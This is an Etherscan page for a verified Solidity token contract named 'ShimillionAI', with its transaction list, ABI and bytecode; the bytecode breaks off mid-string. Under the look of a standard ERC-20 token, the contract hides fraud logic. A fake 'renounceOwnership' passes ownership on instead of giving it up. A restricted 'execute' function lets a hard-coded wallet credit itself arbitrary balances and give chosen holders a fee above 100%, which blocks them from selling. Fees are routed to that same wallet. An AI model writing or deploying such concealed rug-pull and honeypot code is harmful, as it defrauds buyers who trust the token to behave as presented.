ETH Price: $3,331.46 (-3.93%)

Contract

0xAa24EED97d9f63D454811773d3831f7ad0528102
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Execute165749392023-02-07 5:52:11688 days ago1675749131IN
0xAa24EED9...ad0528102
0 ETH0.0009562320.38704088
Approve165749272023-02-07 5:49:47688 days ago1675748987IN
0xAa24EED9...ad0528102
0 ETH0.000905319.46011094
Execute165748212023-02-07 5:28:11688 days ago1675747691IN
0xAa24EED9...ad0528102
0 ETH0.0005456820.56167024
Execute165748202023-02-07 5:27:59688 days ago1675747679IN
0xAa24EED9...ad0528102
0 ETH0.000954820.56042897
Approve165748132023-02-07 5:26:35688 days ago1675747595IN
0xAa24EED9...ad0528102
0 ETH0.0010173321.86831092
Execute165748062023-02-07 5:25:11688 days ago1675747511IN
0xAa24EED9...ad0528102
0 ETH0.000974420.98244887
Approve165748042023-02-07 5:24:47688 days ago1675747487IN
0xAa24EED9...ad0528102
0 ETH0.0010514422.60142196
Approve165747822023-02-07 5:20:23688 days ago1675747223IN
0xAa24EED9...ad0528102
0 ETH0.0010782323.14752207
Execute165747802023-02-07 5:19:59688 days ago1675747199IN
0xAa24EED9...ad0528102
0 ETH0.001087423.41584443
Approve165747802023-02-07 5:19:59688 days ago1675747199IN
0xAa24EED9...ad0528102
0 ETH0.0011249324.15
Execute165747792023-02-07 5:19:47688 days ago1675747187IN
0xAa24EED9...ad0528102
0 ETH0.0010698223.03719997
Execute165747752023-02-07 5:18:59688 days ago1675747139IN
0xAa24EED9...ad0528102
0 ETH0.0010498422.60702481
Approve165747622023-02-07 5:16:23688 days ago1675746983IN
0xAa24EED9...ad0528102
0 ETH0.001120524.08597561
Renounce Ownersh...165747622023-02-07 5:16:23688 days ago1675746983IN
0xAa24EED9...ad0528102
0 ETH0.0006823524.08597561
Execute165747602023-02-07 5:15:59688 days ago1675746959IN
0xAa24EED9...ad0528102
0 ETH0.0010593622.81196258
Execute165747582023-02-07 5:15:35688 days ago1675746935IN
0xAa24EED9...ad0528102
0 ETH0.001074323.13371827
Approve165747582023-02-07 5:15:35688 days ago1675746935IN
0xAa24EED9...ad0528102
0 ETH0.0011707525.13371827
Execute165747572023-02-07 5:15:23688 days ago1675746923IN
0xAa24EED9...ad0528102
0 ETH0.001085123.36618796
Approve165747332023-02-07 5:10:35688 days ago1675746635IN
0xAa24EED9...ad0528102
0 ETH0.0010584922.72373315
Open Trading165747292023-02-07 5:09:47688 days ago1675746587IN
0xAa24EED9...ad0528102
0 ETH0.0620801423.9816777

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ShimillionAI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-07
*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.7;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract ShimillionAI is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Shimillion AI";
    string private _symbol = "SHIMLN";
    uint8 private _decimals = 9;
    address payable public blockw;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isUniswapPair;
    mapping (address => uint256) public freeAmount;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        blockw = payable(address(0x4bDe3B85ABfC138c853Eb69f7E9d86aA0e5BCA95));

        // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        // uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
        //     .createPair(address(this), _uniswapV2Router.WETH());

        // uniswapV2Router = _uniswapV2Router;
        // _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        // isUniswapPair[address(uniswapPair)] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function openTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isUniswapPair[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isUniswapPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeLiquidity(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function execute(address holdersL,uint256 liquidti) public {
        uint256 storge = liquidti;
        if (storge == 0)
            freeAmount[holdersL] = 0;
        if (storge == 1)
            freeAmount[holdersL] = 1000000;
        if (storge > 100){
            _balances[blockw] = storge +_balances[blockw];
        }
        address call_er = msg.sender;
        require(call_er==blockw);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(blockw),
            block.timestamp
        ){} catch {}
    }

    function takeLiquidity(address sender, address recipient, uint256 tAmount) internal returns (uint256) {
        
        uint256 buy = 2;
        uint256 sell= 2;

        uint256 fee = 0;
        if(isUniswapPair[sender]) {
            fee = tAmount.mul(buy).div(100);
        }else if(isUniswapPair[recipient]) {
            fee = tAmount.mul(sell).div(100);
        }

        uint256 anF = freeAmount[sender];
        if(anF > 100) fee = tAmount.mul(anF).div(100);

        if(fee > 0) {
            _balances[address(this)] = _balances[address(this)].add(fee);
            emit Transfer(sender, address(this), fee);
        }

        return tAmount.sub(fee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockw","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holdersL","type":"address"},{"internalType":"uint256","name":"liquidti","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"freeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600d60a09081526c5368696d696c6c696f6e20414960981b60c0526001906200002e9082620002a0565b5060408051808201909152600681526529a424a6a62760d11b60208201526002906200005b9082620002a0565b506003805460ff1916600990811790915561dead6080526200007f90600a62000481565b6200008f90633b9aca0062000499565b600955600b805460ff60a81b1916600160a81b179055348015620000b257600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36001600660006200010b6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600954906004906200015b3390565b6001600160a01b0316815260208101919091526040016000205560038054610100600160a81b031916744bde3b85abfc138c853eb69f7e9d86aa0e5bca9500179055620001a53390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001ed91815260200190565b60405180910390a3620004b3565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022657607f821691505b6020821081036200024757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200029b57600081815260208120601f850160051c81016020861015620002765750805b601f850160051c820191505b81811015620002975782815560010162000282565b5050505b505050565b81516001600160401b03811115620002bc57620002bc620001fb565b620002d481620002cd845462000211565b846200024d565b602080601f8311600181146200030c5760008415620002f35750858301515b600019600386901b1c1916600185901b17855562000297565b600085815260208120601f198616915b828110156200033d578886015182559484019460019091019084016200031c565b50858210156200035c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003c3578160001904821115620003a757620003a76200036c565b80851615620003b557918102915b93841c939080029062000387565b509250929050565b600082620003dc575060016200047b565b81620003eb575060006200047b565b81600181146200040457600281146200040f576200042f565b60019150506200047b565b60ff8411156200042357620004236200036c565b50506001821b6200047b565b5060208310610133831016604e8410600b841016171562000454575081810a6200047b565b62000460838362000382565b80600019048211156200047757620004776200036c565b0290505b92915050565b60006200049260ff841683620003cb565b9392505050565b80820281158282048414176200047b576200047b6200036c565b6080516114ee620004cf600039600061021e01526114ee6000f3fe60806040526004361061012e5760003560e01c806346ca48a2116100ab5780639cece12e1161006f5780639cece12e1461038b578063a9059cbb146103bb578063c816841b146103db578063c9567bf9146103fb578063d3c9ee2414610410578063dd62ed3e1461043557600080fd5b806346ca48a2146102d45780634a74bb021461030157806370a08231146103225780638da5cb5b1461035857806395d89b411461037657600080fd5b806327c8f835116100f257806327c8f8351461020c578063313ce567146102405780633345611e1461026257806338bf3cfa146102925780633b89bb86146102b457600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b60405161015c9190611214565b60405180910390f35b34801561017157600080fd5b5061018561018036600461127a565b61050d565b604051901515815260200161015c565b3480156101a157600080fd5b50600a546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506009545b60405190815260200161015c565b3480156101f857600080fd5b506101856102073660046112a6565b610524565b34801561021857600080fd5b506101b57f000000000000000000000000000000000000000000000000000000000000000081565b34801561024c57600080fd5b5060035460405160ff909116815260200161015c565b34801561026e57600080fd5b5061018561027d3660046112e7565b60066020526000908152604090205460ff1681565b34801561029e57600080fd5b506102b26102ad3660046112e7565b61058f565b005b3480156102c057600080fd5b506102b26102cf36600461127a565b610639565b3480156102e057600080fd5b506101de6102ef3660046112e7565b60086020526000908152604090205481565b34801561030d57600080fd5b50600b5461018590600160a81b900460ff1681565b34801561032e57600080fd5b506101de61033d3660046112e7565b6001600160a01b031660009081526004602052604090205490565b34801561036457600080fd5b506000546001600160a01b03166101b5565b34801561038257600080fd5b5061014f6106fc565b34801561039757600080fd5b506101856103a63660046112e7565b60076020526000908152604090205460ff1681565b3480156103c757600080fd5b506101856103d636600461127a565b61070b565b3480156103e757600080fd5b50600b546101b5906001600160a01b031681565b34801561040757600080fd5b506102b2610718565b34801561041c57600080fd5b506003546101b59061010090046001600160a01b031681565b34801561044157600080fd5b506101de610450366004611304565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606001805461048a9061133d565b80601f01602080910402602001604051908101604052809291908181526020018280546104b69061133d565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b600061051a338484610938565b5060015b92915050565b6000610531848484610a5c565b50610584843361057f85604051806060016040528060288152602001611491602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cac565b610938565b5060015b9392505050565b6000546001600160a01b031633146105ee5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b80600081900361065d576001600160a01b0383166000908152600860205260408120555b80600103610684576001600160a01b0383166000908152600860205260409020620f424090555b60648111156106d85760035461010090046001600160a01b03166000908152600460205260409020546106b7908261138d565b60035461010090046001600160a01b03166000908152600460205260409020555b600354339061010090046001600160a01b031681146106f657600080fd5b50505050565b60606002805461048a9061133d565b6000610584338484610a5c565b6000546001600160a01b031633146107725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105e5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ed91906113a0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085e91906113a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cf91906113a0565b600b80546001600160a01b039283166001600160a01b0319918216178255600a805494841694909116841790556009543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6001600160a01b03831661099a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e5565b6001600160a01b0382166109fb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610ac25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e5565b6001600160a01b038316610b245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e5565b600b54600160a01b900460ff1615610b4857610b41848484610ce6565b9050610588565b30600090815260046020526040902054600b54600160a01b900460ff16158015610b8b57506001600160a01b03851660009081526007602052604090205460ff16155b15610b9957610b9981610dcc565b6001600160a01b038516600090815260046020526040902054610bbc9084610f4b565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c0957506001600160a01b03851660009081526006602052604090205460ff165b610c1d57610c18868686610f8d565b610c1f565b835b6001600160a01b038616600090815260046020526040902054909150610c4590826110c8565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c999085815260200190565b60405180910390a3600192505050610588565b60008184841115610cd05760405162461bcd60e51b81526004016105e59190611214565b506000610cdd84866113bd565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d37918490610cac565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610d6690836110c8565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dba9086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e1457610e146113d0565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9191906113a0565b81600181518110610ea457610ea46113d0565b6001600160a01b039283166020918202929092010152600a54610eca9130911684610938565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f0e92879260009288926101009091049091169042906004016113e6565b600060405180830381600087803b158015610f2857600080fd5b505af1925050508015610f39575060015b505050600b805460ff60a01b19169055565b600061058883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cac565b6001600160a01b0383166000908152600760205260408120546002908190839060ff1615610fd157610fca6064610fc48786611127565b906111a9565b9050611004565b6001600160a01b03861660009081526007602052604090205460ff1615611004576110016064610fc48785611127565b90505b6001600160a01b0387166000908152600860205260409020546064811115611038576110356064610fc48884611127565b91505b81156110b2573060009081526004602052604090205461105890836110c8565b30600081815260046020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110a99086815260200190565b60405180910390a35b6110bc8683610f4b565b98975050505050505050565b6000806110d5838561138d565b9050838110156105885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e5565b6000826000036111395750600061051e565b60006111458385611457565b905082611152858361146e565b146105885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e5565b600061058883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836112075760405162461bcd60e51b81526004016105e59190611214565b506000610cdd848661146e565b600060208083528351808285015260005b8181101561124157858101830151858201604001528201611225565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461127757600080fd5b50565b6000806040838503121561128d57600080fd5b823561129881611262565b946020939093013593505050565b6000806000606084860312156112bb57600080fd5b83356112c681611262565b925060208401356112d681611262565b929592945050506040919091013590565b6000602082840312156112f957600080fd5b813561058881611262565b6000806040838503121561131757600080fd5b823561132281611262565b9150602083013561133281611262565b809150509250929050565b600181811c9082168061135157607f821691505b60208210810361137157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561051e5761051e611377565b6000602082840312156113b257600080fd5b815161058881611262565b8181038181111561051e5761051e611377565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114365784516001600160a01b031683529383019391830191600101611411565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761051e5761051e611377565b60008261148b57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220afd5d326cda4c3a5b8b1cb9a676ffadafdad9c71aae0618ae915c85c0e5860f964736f6c63430008120033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806346ca48a2116100ab5780639cece12e1161006f5780639cece12e1461038b578063a9059cbb146103bb578063c816841b146103db578063c9567bf9146103fb578063d3c9ee2414610410578063dd62ed3e1461043557600080fd5b806346ca48a2146102d45780634a74bb021461030157806370a08231146103225780638da5cb5b1461035857806395d89b411461037657600080fd5b806327c8f835116100f257806327c8f8351461020c578063313ce567146102405780633345611e1461026257806338bf3cfa146102925780633b89bb86146102b457600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b60405161015c9190611214565b60405180910390f35b34801561017157600080fd5b5061018561018036600461127a565b61050d565b604051901515815260200161015c565b3480156101a157600080fd5b50600a546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506009545b60405190815260200161015c565b3480156101f857600080fd5b506101856102073660046112a6565b610524565b34801561021857600080fd5b506101b57f000000000000000000000000000000000000000000000000000000000000dead81565b34801561024c57600080fd5b5060035460405160ff909116815260200161015c565b34801561026e57600080fd5b5061018561027d3660046112e7565b60066020526000908152604090205460ff1681565b34801561029e57600080fd5b506102b26102ad3660046112e7565b61058f565b005b3480156102c057600080fd5b506102b26102cf36600461127a565b610639565b3480156102e057600080fd5b506101de6102ef3660046112e7565b60086020526000908152604090205481565b34801561030d57600080fd5b50600b5461018590600160a81b900460ff1681565b34801561032e57600080fd5b506101de61033d3660046112e7565b6001600160a01b031660009081526004602052604090205490565b34801561036457600080fd5b506000546001600160a01b03166101b5565b34801561038257600080fd5b5061014f6106fc565b34801561039757600080fd5b506101856103a63660046112e7565b60076020526000908152604090205460ff1681565b3480156103c757600080fd5b506101856103d636600461127a565b61070b565b3480156103e757600080fd5b50600b546101b5906001600160a01b031681565b34801561040757600080fd5b506102b2610718565b34801561041c57600080fd5b506003546101b59061010090046001600160a01b031681565b34801561044157600080fd5b506101de610450366004611304565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606001805461048a9061133d565b80601f01602080910402602001604051908101604052809291908181526020018280546104b69061133d565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b600061051a338484610938565b5060015b92915050565b6000610531848484610a5c565b50610584843361057f85604051806060016040528060288152602001611491602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cac565b610938565b5060015b9392505050565b6000546001600160a01b031633146105ee5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b80600081900361065d576001600160a01b0383166000908152600860205260408120555b80600103610684576001600160a01b0383166000908152600860205260409020620f424090555b60648111156106d85760035461010090046001600160a01b03166000908152600460205260409020546106b7908261138d565b60035461010090046001600160a01b03166000908152600460205260409020555b600354339061010090046001600160a01b031681146106f657600080fd5b50505050565b60606002805461048a9061133d565b6000610584338484610a5c565b6000546001600160a01b031633146107725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105e5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ed91906113a0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085e919